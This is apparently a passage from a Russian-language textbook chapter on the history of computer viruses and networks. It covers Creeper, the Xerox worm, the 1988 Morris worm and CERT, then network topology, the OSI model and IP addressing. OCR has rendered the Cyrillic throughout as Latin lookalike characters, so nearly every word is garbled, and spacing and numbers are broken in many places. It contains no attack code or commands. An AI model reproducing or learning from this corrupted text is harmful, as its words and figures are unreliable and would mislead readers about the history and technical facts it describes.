paType mojkho BCTpeTHTb on ncaH H e nporpaM M H  Creeper («BbK)HOK»), 
HanHcaHHoii neioiM Bo6 om ToMacoM h cnocooHoft nepeMemaTbcn ot 
KOMnbiOTepa k KOMnbroTepy. C.KonHpoBaBiiincb Ha yyacyio Mammy, npo
rpaMMa t j t  ace y j i m a  cboh «o p n rn 2 ia ji» ,  TaKHM 06pa30M , HeB03M0»CH0 
6 wjio npeacKa3aTb, rae OHa Haxoairrcfl b KOHKpeTHbrii momcht BpeMeHH. 
ynoMHHaeTcst h «aHTHBHpyc» jv w  nee -  nporpaMMa Reaper («>KHeu») 
Psa ToMJIHHCOHa.

Ha npOT«>KeHHH 1970-X rOflOB CCTH MHOJKHJIHCb H pOCJIH. Akthbho 
pa3pa6aTbreajincb h yTBepacaajincb b KanecTBe craH/iapTOB HOBbie anna- 
paTHue cpeflcTBa h cem eeue np om o no jiu  -  to  ecTb npaBHJia a  aJiropnT- 
Mbi HHcJjopManHOHHoro o6 MeHa. B w j i  pa3pa6oTaH npoTOTiin TexaoJiornH 
Ethernet. IIoHBHjmcb nepBOHaMajibHbie BepcHH np0T0K0Ji0B TCP/IP, 
CTaBuiHX otJ)H mia ji bH biMH cTaH^apTaMH HecKO-TbKO no3* e  -  b 1983 r. /[jih 
nepeaaHH ajieKTpomtOH noMTU (a  cexw Tex JieT b ochobhom fljw aroro h 
ohjih npeflHa3HaMeHbi) Hanajin npHMeHSTbca npoTOKOJibi PO P  h SMTP. 
K KOHny 1970-x ro;ioB uiHpoKyio nonyjwpHocTb npHoSpejm onepauHon- 
Hbie CHCTeMbi ceMeiicTBa U N IX . Ohh ycTaHaBJUiBajnicb b JiaoopaTopnax, 
B>'3ax, Ha npe^npHHTHax ii t. n. He cjiynaHHo hmchho pa3H0BHflH0CTH 
3TOH OnepanHOHHOH CHCTeMbi 0 6 bIM110 CT3HOBHJIHCb Cpe/IOH, B KOTOPOH 
pa3pa6aTbiBaJiHCb h OTJiaacHBajincb HOBbie ceTeBbie npoTOKOjiH. 3 to  0 6 - 
CTOHTeJIbCTBO CJTVJKHJIO Ha nOJIb3y CTaHaapTH3aUHH H VHHcJjHKaUHH C C Te - 

Bbix peuieHiiii.
B 1980 r. ABoe Hccjieao Bare/sew (/1>k. IIIoh h ft. Xann) H3 KOMnaHHH 

«  Xerox* peuiHJiH peajiH30BaTb KpacHByio H/ieio nporpaMMbi, Koropan He
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TOJibKO KomipoBajiacb 6bi no cera c MamiiHbi Ha ManiHHV. ho h Hcn0Jib30- 
Bajia 6bl HX BMMHCJIHTeJIbHbie M01IIH0 CTH «B MHpHHX UeJIHX» [60]. ITpefl- 
nojiarajjocb, mto pecypcw aojdkhh omjih Hcn0Jib30BaTbca toju>ko b Te'ie- 
HHe Toro HHTepBajja BpeMeHH, noKa MauiHHa npocTaHBajia. KaK TOJibKO 
MauiHHa naMHHajia BbinoJiHHTb 3aAaHHa <s3aKOHHoro» n0jib30BaTeJia, 
«MyHcaa> nporpaMMa caMoyaajiajiacb c KOMntrcnepa. Pe3yjibraTM skc- 
nepiiMeHTa 6 ujih 0ny6 jiHK0 BaHH h OAoGpenbi. Ho b HacToamee BpeMH 
noneMy-TO cqiiTaeTca, mto tcxhojiothh pacnpeaeJieHHbix BbiHHCJieHHH, 
0 CH0 BaHHbie Ha Mo6u .n m ix  azew nax  ( t o  ecn> Ha cjjpameHTax nporpaMM
Horo KOfla, nepeMemaeMbix o t  Mauimibi k MauiHHe), AaioT MeHbiue npe- 
HMymecTB, MeM TexnojiornH, npeaycMaTpHBaromHe pa3 h HaBceraa hhc- 
TajuiHpoBaHHbie Ha MauiHHe 4>paraeHTbi Ko/ia, ooMeHHBaromHecH apyr 
c apyroM coo6meHHHMH (HanpHMep, Grid-TexHOjioniH). A  «MepBb)», hc- 
n0jib30BaHHwft UIoMeM h XannoM, Bomeji b HCTopnio BiipycoJiornn noA 
Ha3BaHHeM «Xerox worm».

B 1980-e ro/Xbi 0K0HMaTejxbH0 c tp o p M itp o B a jm c b  6 o/ibiiiHHCTBO coBpe- 
M eH H UX  npoTOKOJiOB nepeaaM H  A aH H u x . HcnoJib3yeM bix 3 0  H a c T o a w e ro  

BpeM eHH. 0(|>OpMHJlMCb H pa3BHJIHCb HecKOJibKO K pynH blX  TJIo6 aJIbHbIX 

ceTeft (K p o M e  ARPANET, MO/KHO OTMeTHTb «BoeHHyio» ceTb MilNet, « n a -  

y M H y io » ceTb N SF h  t. n .) .  B caMOM K ora ie  AecaTHJieTita naM ajiocb  cJina- 

HHe ARPANE T h  NSF b  o;my r jio fia jib n y io  c y n ep ceT b  -  INTERNET. 
M o »c h o  ynoM H H yTb TaioKe HeKOM M epM ecKyio c e rb  FIDO, KOTOpaa co flep -  

jR a jiacb  Ha cpeflCTBa 3HTy3HacT0B, n03B0Jiajia  o 6 M eH H BaTbca ajieK TpoH - 

hbim h nHCbM aM H h  noAAepacHBaJia BBS ( « 3 JieKTpoHHbie a o c k h  0 6 1 .HB- 

JieHHH») -  IlO/lJIHHHbie «CKJiaflH»- AOKyMeHTOB, KapTHHOK, nporpaMM... 
a  aao/jHo h  (JraiiJioBbix B H pycoB . M H T epecno . m to FID O  cymecTByeT a o  

c h x  nop h npHHmiriHajibno c o x p a a a e T  aBTOHOMHro o t  H ffrep H eT a .

B HaMaJie n o a 6 p a  1988 r .  23-jicthhh a c n u p a m  K o p H e ju ib c K o ro  y H H - 

B epcH T eT a  Po6epT M o p p H c-mj 1 a a iu h h 3 a n y c n u i  b jioKajibHyio ceT b cBoe- 
r o  y H H B e p c iiT e T a  caMopa3MHo*aiomyioca n p o rp a M M y . IIp a K T H M e cK H  

Bee ceT eB b ie  V3Jiw b k o h h c  1980-x to/iob paooTajra noA to ii h a h  hhoh 
paaHOBH/iHOCTbro OnepanHOHHOH CHCTeMbi U NIX . l Ie p B b  Moppnca 6biJi 
opHeHTHpoBaH Ha abc H3 hhx: BSD U N IX  4.3 (ajih KOMiibioTepoB VAX ) 
h  SunOS (aJia KOMnbioTepoB Sun). Oh Hcn0Jib30BaJi HecKOJibKO r p y -  

6wx «/[bip» b ceTeBbix c jiy*6ax sthx onepaanoHHWx chctcm, mto no- 
3BOJIHJIO nepeTaCKHBaTb CBOH HCXOAHWH TeKCT C MaUIHHbl Ha MaiUHHV, 
KOMnHJinpoBaTb ero 113anycKaTb nojiyMaiommica a a r p y a o H f i i jH  Moayjib. 
A  napojni na aocTyn k mvjkiim KOMnbioTepaM MepBb npocTo-Hanpocro 
noA6npaA, Hcn0.ab30BaB 3apanee 3aroTOBJieHHbiH cmicoK 113 npHMepno 
400 c;iob. IIocKOJibKy ceTb siBJiaJiacb 4ac.Tbio ARPANET, BHpyc aoBOJib-
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ho 6bicTpo pacnpocrpaHHJicfl 3a npeaejibi yHHBepcHTexcKoro cerMeHTa. 
Oh coaepacaji oiuh6 kh b npoueaype, npoBeparomeft 3apa»ceHHocTb \ia- 
uihh. Bjiaroaapa 3T0My b onepaTHBHoii naMHTH KOMnbiOTepa HepeaKo 
OKaabiBa.xocb HecKOJibKO n a p a jia e jib H o  pa6oTaB iiiH X  BH pycH bix  npouec- 
COB, HTO CHJIbHO CHH^CajlO npOI13BO/IHTeJIbHOCTb CHCTeMbI. HeKOTOpbie 
KOMnbroTepbi aaace 3aBHcajiH. B HecKOJibKO pa3 Bupoc h Tpa4>HK. Ha- 
na.iHCb MaccoBhie OTKJHOHeHiia 3apaaceHHbix MauiHH h ceTeBbix cerMeH- 
tob. Han6 oJiee KBajmcJ)HipipoBaHHbie cneunaJiHCTbi, o6 cJiyacHBaiomHe 
ARPANET, 3aHa;iHcb H3yneHHeM Biipyca h cnoco6 oB ero yaajieHHa H3 

cncTeMbi, ho b ycjiOBHax pacnaaaiomHxcH ceTeBbix KOMMyHHKanHH hm c 
T p ya o M  y a a s a j io c b  najia>KHBaTb B3aHMoaeiicTBHe. HeBOJibHOH acepTBoii 
3KCTpe.MaJibHoro TpacjMKa cTaji h caM MoppHc, HcnyraBUiHHca M acuiTa- 

6 ob HHiiHfleHTa h pemiiBiuHH HcnpaBHTb ciiTyamiK) npn noMomn aHO- 
HHMHoro ajieKTpoHHoro nncbMa c oiiHcaHHeM «npoTHBoaaHa», -  oho 
npocTo He aouijio ao aapecaTOB. Toraa aBTop nepBa aBHJica b OBP c no- 
bhhhoh. Xaoc b aMepuKaHCKHX r.nooajibHbix ceTHX npoaojiacajica oko
jio noJiyxopa cvtok, noTOM cneijHajiHCTbi pa3o6pajwcb b 0 C0 6 eHH0 CTax 
■ssapaabi*, pa3 pa6 0 Ta.n1 Mepw npoTHBo/ieiicTBiia h o6y.3aajni nepBa. Ilo  
0 (J)HHHaJibHbiM flaHHbiM, hm 6 bMH 3apa»ceHbi OKOJIO 6200 KOMnbioTepoB 
(hto cocTaBHJio okojio 7% Bcex y3Ji0B ceTn), o6ihhh ymep6  cocTaBHJi 
6 ojiee 98 mjih flojuiapoB.

« ' le p B b  MoppHca» (a M e p H K a n n a .M  S o jie e  H3BecTHbiii noa He3aTeH.7iH- 

bhm HaiiMeHOBaimeM « Internet Worm» ) o n e p e a n j i  CBoe B p e M a  noH T H  Ha 

aecH T H JieTH e . Ha n p o r a x e H H H  1990-x ro a o B  h h k t o  H3 B H p y c o n H c a T e jie ii 

H e p u c K H y j i  n o B T o p i iT b  «rio/iBHi> Po6epTa MoppHca: b Moae 6 b u n s  4>aH- 
jiOBbie B u p y c u  a J ia  MS-DOS h  Windows. 3aTO H H U H a e iiT  c  s t h m  ‘ le p e e M  

n o c ;iy » c H J i t o j ih k o m  k  c o 3 a a f f i i r o  CERT ( C o m p u t e r  Emergency Response 
Team) -  H eK O M M epne cK O H  M e jK a V H a p o a H o ii o p ra H H 3 a m iH , o 6 i> e a H H iiB - 

meft c n e u H a ji i ic T O B  b  o 6 j ia c ™  c e r e B o i i  6e3onacH ocTH .

A cem  TeM BpeMeHeM npoaojiacujui CBoe 6ypHoe pa3BHTHe. B 1989 r. 
obuia c(J)opMyjiHpoBana Konuermux runepTeKCTa, BCKope noHBHJincb 
cneiiHc|)HKauHa HTM L h npoTOKOJi HTTP. B 1993 r. 6biJi HanHcaH nep- 
Bbiii \VW W -6pay3ep NSCA Mosaic, aocTynHbiii b BHae HcxoaHbix TeK- 
ctob h nocayacHBiuiiH ochoboh a jih Bcex 6ojiee no3aHHX pa3pa60T0K -  
h Netscape Navigator/Communicator, m Internet Explorer, h Opera, 
h Firefox. flepBbie neTJin  Bce.MHpHoii nayTHHbi Jierim Ha napajuieJiH 11 
MepnanaHbi 3eMHoro uiapa. CaiiTbi pocJiH h MH03KiiJiHcb Ha Bcex kohth- 
HeHTax, KaK rpii6bi. KojiHHecTBO nojib30BaTejieii poc.nro no sKcnoHeirre. 
K 1996 roay MHxepHex oG-beannaji y*e oko.to 9.5 mjih KOMnbioTepoB bo 
BceM Miipe.
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B H p y c o rm c a T e jiM  o6paTHJiH Ha H e ro  cBoe npHCTajibHoe BHHMaHHe 
jiiiuib b Hanajie 1999 ro/ia. Ho 06 stom nyTb no3ace...

6.2. ApxMTeiaypa coBpeMeHHbix ceTei/i
...9mo S u m  cucmeMa mopoe, u,wiuHdpoe u v ia - 
poe, cesi3ammx SjiecnuvmuMu mpocaMU...

A. h B. Cipyramcne. «CTaatepH»

3a rioMTH nojiyBeKOByto hctophjo pa3BHraa KOMnbiOTepHbix ceTefi 6 biJia 
BbicTpoeHa orpo.MHaa h cJioacHaa cncxeMa, b 0 CH0 Be KOTopoii jieacaT Tbi- 
CflHH H TblCHHH pa3H006pa3HHX aiinapaTHblX yCTpOHCTB, nporpaMMHbix 
nponyKTOB h IIPOTOKOJIOB B3aHM0AeHCTBiw. Heooxo/uiMo, xoth 6 bi b 0 6 - 
utHX nepTax, npeflcxaBjiHTb ce6 e ocHOBHtie npHimHtibi ee ycTpoiicTBa h 
<J)yHKUllOWipOBHHUH [2 3 ],

6 .2 .1 . Tonojiomsi ceTew
KoMnbioTepHyio ceTb yao6nee npeflcraBJWTb ce6e b BHae mhoacecTBa 
yauioB -  OT^ejibHbix MarniiH, o 6-bean itch max b e/tHHyro cHCTeMy nocpefl- 
CTBOM (|)H3HMeCKHX H JIOHIHeCKHX CBH3eH.

CymecTByeT ycjioBiioe pasaejicmie cere ft Ha J io m jib H u e  ('ibM KOMnbio- 
Te p u  pacnoJioaceHbi Ha He6ojibiunx paccTOHHHHX apyr ot flpyra) h zjio- 
6 asibHue (c  aaJieKO pacnoJioaceHHUMH KOMnbiOTepaMH). PaHee (JjaKTop 
paccTOHHHH HamiaaWBaji doji bin we orpaHHH chhh Ha HcnoJib3yeMyio 
annapaTypy h npoTOKOJiu cbh3h. B HacTOHiuee ace BpeMH, b cbh3K 
c nporpeccoM b o6;iacTH o6ecne>/eHna vctohhhbocth CBH3H, BnojiHe 
B03M0aciia cHTyaiiHH, Korfla «jioKajibHbie» ycTponcTBa n npoTOKOjibi hc- 
II0JIb3VIOTCfl flJIH CBH3bIBaHHH KOMIIblOTCpOB, pacriOJIOaceHHblX B pa3HbIX 
nojiyiuapHHx 3cmjih, a «nio6ajibHbie» -  ajih o6MeHa BaaHMo/ieiicTBHa 
Meacfly flByMfl KOMnbtoTepaMM, ctohuihmh Ha coceamix CTOJiax. IIo3 to - 
My nos ^JioKajibHbiMH* ceTHMH ceiinac o6biMHo noHHMaioTca MHoacecT- 
Ba MarniiH, npiiHaaJieacaiUHx o m o i i  opraiiiisaiiHH n Hcnojib3yioiuHX 
o6ihhc npHHimnu cbh3h. CooTBeTCTBeHHo, «rJio6ajibHaa» ceTb -  sto 
KOHrJioMepaT 113 HecKOJibKHX .TOKaJibHbix ce/reft. Hy h, HaKOHeu, Hh- 
TepHeT -  CHCTeMa Bcex JioKajibiibix 11 rjio6ajibHbix cctcm njiaHeTbi 3eM- 
jih, HMeioiuHx he 11 ocpeac t  b e h h y  10 hjih KocBeHHyio nhc{x>pmauh0hnykj 
CBH3b A p y r c xpyroM.

Kaayiaa KOHKpeTHaa ceTb MoaceT HMeTb onpeaejiennyio TonojiorHio -  
«KOJlbHO», «UIHHy», «3Be3ay» H T. II. Zl/IH TOTO HTo6bI pa3JIHHaTb y3JIb] 
b ceTH. Kaacflbiii H3 hhx HMeeT co6 cTBeHHHvi HaenTHcJniKaTop -  adpec.
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CeTb2

HeKQTopbie y3Jiti M oryT HMeTb HecKOJibKO aapecoB. Hii'jero hco6umho- 
ro, BepHO? B e a t flaxce nonyaapHMH nepcoHa* p0MaH0B K ). CeMeHOBa 
b (JjaiuHCTCKOH TepMaHHH 6bui H3BecTeH KaK mTan/iapTeHc|)iopep CC 
MaKc O tto  c})oh lUrapjiim , b CHCTeMe cobctckoh pasBeflKH -  kv\k ri o ji- 
kobhhk roc6e3onacHocTH M. M. McaeB, a aoMa, b Kpyry 6jiH/Kaf}wnx 
poflCTBeHHHKOB -  KaK CeBa BjiaaHMHpoB. CncTeMa HaaHaMenHH He- 
CKOJibKHX aapecoB Q/iHOMV y3ay mojkct 6biTb pasawiHOH. HanpHMep, 
V3en «1 .4 » nepBOH ceTH mojkpt paccMaTpHBaTbca KaK 3JieMeHT BTopoft 
ceTH h nosTow y HMeTb aorioJiHHTe/ibHbiH aapec «2 .5 ». H o  bo3mohcch h 
apyroH noaxoa, Koraa Bee noao6Hbie ysjibi cMHTaioTcjj aaeMeHTaMii eme 
o/ihoh cera c aapecaMH (A ,  B, C, D ),  b stom cjiynae y3ea u o n y m r  ao- 
nojiHHTejibHMH aapec « A » .

•«PaaoBbie» y3jibi, cBH3aHHbie TOJibKO c y3aaMH cBoefi codctbchhoh 
ceTH, mw 6yaeM Ha3biBaTb xocmaMU. Ha Y3.ra, KOTOpbie c.BM3biBaroT pa3- 
aHMHbie cera h HMeiOT b hhx pa3;iHMHbie aapeca, c>6wtiho B03aaraK)TCfl 3a- 
aa^H Bbi6opa HanpaBJieHHH nji4)opMannoHHbix noTOKOB, Kypcnpyroiunx 
Meacay ceTHMH. Taiaie y3Jibi mm oyaeM Ha3MBaTb Mapwpymusamopa.MU 
(ecaH ohh CBa3MBafOT oaHopoaHbie, ycTpoeHHbie no oaHHM h TeM ace 
npaBHJiaM ceTH) nan w jitow m u  (ecan caa3MBaeMbie ccth pa3HopoaHbi). 
CnpaBeaaiiBOCTH paan caeayex ynoMsmyTb eme Mocmu -  ycTpoficTBa 
CBH3H pasjiHMHbix ceTeii, KOTOpbie Toace ynpaBaaKiT hh(]x)pmauhohHb 1 m»  
noTOKaMii, h o  co6cTBeHHoro aapeca He HMeiOT h  n0T0My juvi x o c to b  He- 

33M eTHbI. np03paHHbI.
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6 .2 .2 . CeMMypOBHeBan MOfle/ib ISO OSI
Ilpn nepe/iane iiH(j3opMannn no cera npuxo/iHTca pernaTb mhojkcctbo 
pa3JiHMHbix jioKajibnbix 3aaaH. Il03T0My b 1980-x ro/tax 6biJia pa3pa6o- 
TaHa cneiiHajibHaa Hepapxnn sthx aaaan, KOTOpaH nojiyniuia Ha3BaHHe 
«3TajioHHoii Moae.ra ISO OSI*. PeayjibTaT HH<J>opMaimoHHbix npeo6pa- 
30BaHHil, BbinojiiLneMhix Ha xoii hjih hhoh CTyneHH 3T0H HepapxHH, cjiy- 
>KHT HCXOflHHMH flaHHHMH HJIH CilerylOUteii OnepayHH, BbinOJIHHCMOH
Ha cjieayiom eft CTyneHH. B co o tb c tc tb h h  c stum  ceTeBbie TexHOJiorHH 

CTaHOBHTCH yfl06H0 npOeKTHpOBaTb H pea^H30BbIBaTb B BHae MHOJKeCTBa 
aBTOHOMHbix nporpaM M Ho-annapaTHbix Moayjiefi, BbinojiH inom nx t c  h jih  

HHbie 3aaaMH h nepeaaiomHX pe3\'jibTaT aa/iee.

Moflejib ISO OSI coaepjKHT ceMb «cryneHeii».
1. Ha <pu3unecKOM ypoeue pemaioTCH 3aaa>ni nepeaanH CHrHaJioB ot 

ycxpoHCTBa k yapoHCTBy. CraH/iapTbi aToro ypoBHfl onncbiBatoT 
cpeabi riepe/iaHH aaHHbix (ajieiapHHecKHe h 0 rrr0B0 Ji0 K0 HHbie Ka- 
6 ejiH, paflHoacJiHp h t. n.), KOJitmecTBeHHbie napaMeTpbi CHrnajioB, 
reoMeTpH'iecKHe xapaKTepucniKH pa.ateMOB h t. n.

2. KaHttJibHbtu ypoeeHb nocBameH BonpocaM nepeaann OTaeJibHbix 
ohtob HHcJxipMaiiHH. HanpHMep, np0 T0K0Ji KaHajibHoro ypoBHH, 
onHcaHUbiii b cxaH/iapTe RS-232, noapaayMCBaeT nepeaany oTaejib- 
HblX 6hTOB ypOBHHMH IIOCTOHHHOrO HanpHJKeHHH, Co6 paHHbIMH 
B HH(|)OpMamiOHHble naKeTbl H BKJIK)HaK>mHMH «CTapTOBbIH» OUT, 
rpynny HHcJiopMaiiHOHHbix 6htob, 6ht kohtpojih neji0 CTH0 CTH, 
«CTonoBMH» 6ht h t. n. TaioKe Ha stom ypoBHe «*HByT» (J)H3H- 
necKHe aapeca ycTpoficTB, ooecneMHBaiomHX hh<|)op.waHHohJiyio 
cB»3b, HanpHMep yHHKa.nbHbie MAC-aapeca, HaMepTBO «3aiiiHTbie» 
b ceTeBbie aaanTepH.

3. Cemeeou ypoeeub pernaeT 3aaa>iH Ha3HaneHHH OTaejibHbiM ycTpon- 
CTB3M JIOTHMeCKHX aapeCOB, J'CTaHOBJieHHH COOTBeTCTBIM MCJKay 
jioninecKHMH h  4>H3HHecKHMH aapecaMH, B u 6 o p a  nyn i iiHc|x)pMa- 
mioHHoro noTOKa Me)Kay y3Jia.\iH oanofi cera h  t. n. Pa3pa6oTaHbi 
HecKOJibKO ajibTepHaTHBHbix aapecHMX cHCTeM, ho naBeHCTByio- 
myio pojib b coBpeMeHHOM MHTepHere HrpaeT CHCTeMa IP-aapecoB 
(penb o Heft noftaeT aajibine).

4. TpaHcnopmubiu ypoeeHb OTBenaeT 3a cjiojKHeftuiyio 3aaaw npoBe- 
at'HHM «MHpMaHH (JHHblX HO(-3/lOB» OT HaMajIbHOH ao K0HC4H0H 
«CTaHHHII». Ha KOpOTKHe paCCTOHHHH He6 oJIblHHe «noe3aa» BOaHT 
oojiee npocTOH h obicTpbiH iipoTOKO./i UDP, a /uni hh hmh «noe3aa- 
mh aaJibHero c;ie;iOBaHH5i» ynpaBJis-ieT oojiee Haae>KHHH npoToicoJi 
TCP.
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5. C eaucoeuu ypoeenb  3aHHMaeTca BonpocaMH pa3pemeHHa h  3anpe- 
meHHH cereBoro BaaHMoaeftcTBHa Meacay pa3JiitHHHMH ynacTHHKa- 
mh HH(J)0pMaiiH0HH0r0 o6MeHa.

6 . Ypoeenb npedcm aejieHua oTBe^aeT 3a (J)opMy npeacTaBJieHHa aan- 
hux. 3/tec b peuiaroTCH Bonpocw cacathh, K0#Hp0BaHHa h iuH(f>po- 
Barnia nepeaaBaeMOH iiHcjjopMamiii.

7. HaKOHeu, ypoeenb n p u jio x e n u u  no&aepacHBaeT Bee MHoroo6pa- 
3He ycjiyr, npenocTaBjmeMhix KOHemoMy ii0.7ib30BaTe.7f0: ripneM h 
nepe^any ajieKTpoiiHoii no^Tw (npoTOKOJiw POP3, IM AP, S M TP ), 
cKaHHBamie 4>aiijioB 113 apxHBOB (np0 T0 K0 ;ibi FT P  ii T F T P ), npo- 
CMOTp ranepTeKcTOBMX WWW-CTpaumi (npoTOKOJi H T T P ), yaa- 
JieHHoe ynpaBjieHHe KOMnbJOTepa.MH h t. n.

HaMHHaa c KaHaJibHoro ypoBHa, nopuHH nepeaaBaeMbix no cera 
aaHHbix o(J)opMJiaK)Tca b BH/je naxemoe, K0 T0phie npeacTaBJiaioT co- 
6oft C0 6 cTBeHH0  HH(|)0pMaUH0HHMH 6jI0K nJIIOC C/IV>Ke6HM!I 3ar0JI0B0K, 
0(|)0pMJIeHHblH B COOTBeTCTBHH C npaBHJiaMH Toro HJIH HHOrO npOTOKOJia. 
B TepMHHax T C P / U D P  naKeTbi Taiofce HHoraa Ha3biBaioT deumazpaMMa- 
mu ( damazpaMMaMU ).

He cjieayeT, o^HaKo, aywaTb, hto nopuHa /taHHHX, nepe/jaBaeMaa no 
ceTH, aoJiJKHa npeTepneTb crojibico nocjieaoBaTeJibiibix npeo6pa30BaHnii, 
CKOjibKo «CTyneHeK» ISO  OSI oHa npoxoaiiT. HanpHMep, ecJin b coot- 
BeTCTBHH c HaCTpOHKaMH CeTH IUH^pOBaHHC H OK3THC flaHHHX He Tpe6y- 
eTca, to  ypoBeHb npeacTaBJieHHa mojkct 6biTb nponymeH. H Hao6 opoT, Ha 
onpeaejiemibix «cTyneHbKax» fljia o6ecne*ieHHa npoflBHJKeHHa nopmm 
AaHHWx MOiaceT 6utb 3azieHCTB0BaH0 MHo*ecTBo (iiHoraa 6o.nee aecaT- 
Ka!) np0T0K0Ji0B oflHoro h to to  ace ypoBHa.

IIpoTOKOJi Toro hjih hhoto ypoBHa, nojiyniiB naKeT ot apyroro npo- 
TOKO.ia, o6hiHHo paccMaTpHBaeT ero hcjihkom, KaK HeaejiHMbiH Ha6op 
aaHHHX. O h  M0>seT k s k h m -jih 6 o  06pa30M npeo6pa30BaTb ero, HanpHMep 
sauiHtJtpoBaTb hot pasaejiHTb Ha HecKOJibKO qacTeii. B jikjoom oiy^ae, 
Ka»ayiD BHOBb noJiyMeHHyro nopmno aaHHbix oh cHa6jKaeT cbohm 3a- 
ro.TOBKOM h oTChuiaei aa.xbiue. Ha npneMHOM Kotme neooxoanMo « oto- 
apaTb^ 3ar0Ji0BKH, ciuieHTb 6jiokh aanHbix b eaitHoe uejioe, pacuiHcJ>- 
poBaTb hx h t . n. TaKHM 06pa30M, nopa,aoK npHMeneiiHa onepaijHH npn 
nepeaane h npneMe riopumi aaHHbix pa3jiHiien, oojiee Toro, oh npoTHBo- 
nOJITOKCH. Il03T0My Ha6op B3aHMOfleHCTByiOmiIX npOTOKOJIOB HepeaKo 
Ha3biBaioT *>cmeKOM npomoKOJioe».

6 .2 .3 . IP-aApecauiisi
Pa3pa60TaH0 h HcnoJib.'tyercfl ooJibiuoe kojihhcctbo pa3Hoo6p33Hbix TexHo- 
jioniH ceTeBoro B3aHMoaeHCTBHa, ocHOBannbix Ha Tex hjih HHbix rpynnax
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npoTOKOJiOB. HanpHMep, H0Jib30BaTe.!iaM nepBoft iio jiob h h m  1990-x ro - 

aoB naMaTHbi TexHOJioriiH 4>HpMbi Novell, o oe cn ew B a to ii[n e  oipMcaM 
pacnpeaeaeH H bift a o c T y n  k neH TpajiH 30BaiiHbiM 6 a3aM a a m ib ix  h ocho- 
BaHHbie Ha n p 0 T0K0Jiax ceMeiicTBa I P X / S P X .  JIjoShtcjih «n o c T p e ;ia T b  

B HyflOBHlU* flÔ [2KHbl nOMHHTb npOCTOH H 6HCTpHH CeTeBOH npOTOKOJI
NetBIOS, KOTopbifl no yMojnaHHio noaaepacHBaJica t 3khmh Kownbio- 
TepHbiMH HrpaMH, KaK «Doom». «  Heretic*. «  Quake* n t . n. Ho k  kohhv 

npouiJioro cxoaeTHa maBeHCTByiouiee 3HaneHHe npMo6pejia TexHoaoraa. 
0CH0BaHHaa Ha IP-aapecamm h aByx TpajicnoprHMX nporoKonax: TCP  
h UDP. M TaKoe noaoaceHHe aea ne npocro coxpaimaocb no nacxoaiuero 
BpeMeHii, ho h  cymecTBeHHO jTcpemwocb.

B  nepBOM AecHTH.neTiiii X X I  BeKa o c h o b h v io  poJib b c eT a x  nrpaeT ch - 

CTeMa IP -aa p eca n H H  Bepcrni 4 ( c 0 Kpam eHH 0e  HaHMeHOBaHHe « I P v 4 * ) .  

o 6 ;iaaa io iu aa . no o 6meMy MHeHHio, p aaoM  HeaocTaTKOB, h o  noKa «ne3a- 
M eHHM aa* b c b « 3h  co  cB oeii u iH p o ’ia i i iu e i i  pacnpocTpaneH H ocTbro. B  c o - 

oxBercTBHH c TpeSoB aH iiaM ii cTaH zjapra I P v 4 a a p ec  v s jia  n peacraB J itfer 

c o o o h  32-6HTOBoe h h o io .  H e rp ya H O  coo6pa3HTb, h to  s t o  HaKJiaabiBa- 

eT orpaHHHeHHe Ha noTeH iinaabH h ie  «pa3Mepu» M ffrepH eTa : He 6 o ;ie e  

4 ALipa V3JI0B H, KpoMe TOTO, OrpOMHOe KOJIHHCCTBO aapeCOB HB-MIOTCH 

3ap e3epBHpOBaHHbIMH.

IIpHHaTa 4>opMa 3anHCH aapeca b BHae Herapex 8~6htobwx oktctob: 
A A A .B B B .C C C .D D D ,  np iineM  K a «a u H  oKTeT 3anHCbiBaeTCa a e c a n iH -  

hhm 'MCJioM. Oktctw  « 0 » ,  *1 2 7 *  i i  <<255» Hrpaior o co6 y io  pojib . Mhcjio 
« ( ) »  b jik>6oh no3HiniH 03iiaMaex «3 tv  MaiiiHHy* nan «s tv  ceTb». Mtie/io 
«255* cooTBeTCTByeT uiHpoKOBemaTejibHOMy aapecy, o kotopom aoaac- 
Hbi 3HaTb Bee MauiHHbi ceTH. Ecjih nepBHH oKreT aapeca paBeH «127», to 
aaHHbiii aapec ccbuiaeTca Ha «3aK0jibH0Bamibm HHTepcJx;HC* -  (Jjhkthb- 
hj'K) cerb, cocToainyio TojibKo H3 0aH0H jioKa./ibHon MauiHHbi. IP -a a p e c  

«127.0.0.1* (cHMBO.iHMecKoe o6o3HaMeime -  «localhost*) Bceraa 6 y- 
aeT BocnpiiHaT y3aoM KaK cboh coSctbbhhwh iineHTH<pHKaTop, KaK «a:s 
ecM b*, aa*e e ca n  MauiHHa (J)ii3HHecKH He noaKaioMeHa k  ceTH.

y 3.ribi c nepBbiM 0KTeT0M b a n a n a 30He 1-191 Bxoaar b KpynH bie ra o -  

6 aab iib ie  ceTH, oxB aru B a iom H e HH(})opManHOHHoe n p 0 CTpaHCTB0 n o a y -  

mapHH, KOHTHHeHTOB, ro cyaa p cT B  h  K pynH bix K opnopa iiH H . A a p e c a , 

H an iiH a ioiuH eca c 224-254, aBaaioTca 3a p e3epBHpoBaHHbiMH. M TojibK o 

aapeca , nepBbift OKTeT KOTOpbix HMeeT 3HaHeHiie b anana.30ne 192-223, 
aocTyiiHbi na «p b iH K e*. BnponeM, ys/rhi BHyTpH jiOKajiw/oH ceni, He 

H M etom ne H enocpeacTB eH H oro  Bbixoaa b HuTepneT, m o tv t  HMeTb npoH3- 
BoabH bie IP -a a p eca .

KcTaTH, b nepcneKTHBHOM cranaapTe IP  BepciiH 6 ( hjih npocTo 

« I P v6  ■>) noa aapec oTBoaiiTca 128 6 iit o b . 3 to t  cxaHaapT y>Ke p ea jiio o -
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BaH b coB peM eH H bix ceTeB b ix  on ep an n oH H b ix  CHCTeMax (H anpH M ep, b MS 
W in d o w s ,  HaMHHaa c  BepcHH 2 0 0 0 ),  a/ia e ro  aKTH Bam m  AocTaTOHHO 

n p o cT o  HHCTajuiHpoBaTb cooTB eTC TB yiom H ii n p 0T0 K0 Ji h  nocTaBHTb « r a -  

JIOHKy* B CB0HCTB3X CeTeBbIX nOflKjnOHeHHH... TOJIbKO BOT KaK Cfle/iaTb 3T0 
Ha B cex  K O M nbioTepax nJianeTM 0 flH 0 BpeMeHH0 ?

Ha cepe/tHHy 2008 r. 86% aapecHoro npocTpaHCTBa HirrepHeTa 6 mjih 
yjtce iicnepnaHbi. OanaKO HaKaHyHe npoBoaHJiwcb uccjieaoBaHHH: KaKOH 
upoueHT IP-a/ipecoB HHTepHeTa peaJibHO 3aaeHCTBOBaH, to  ecxb He npoc
To oT^aH b n0Jib30BaHiie KaKoii-jm6 o opraHH3aufiH, a npHCBoeH peajibHo 
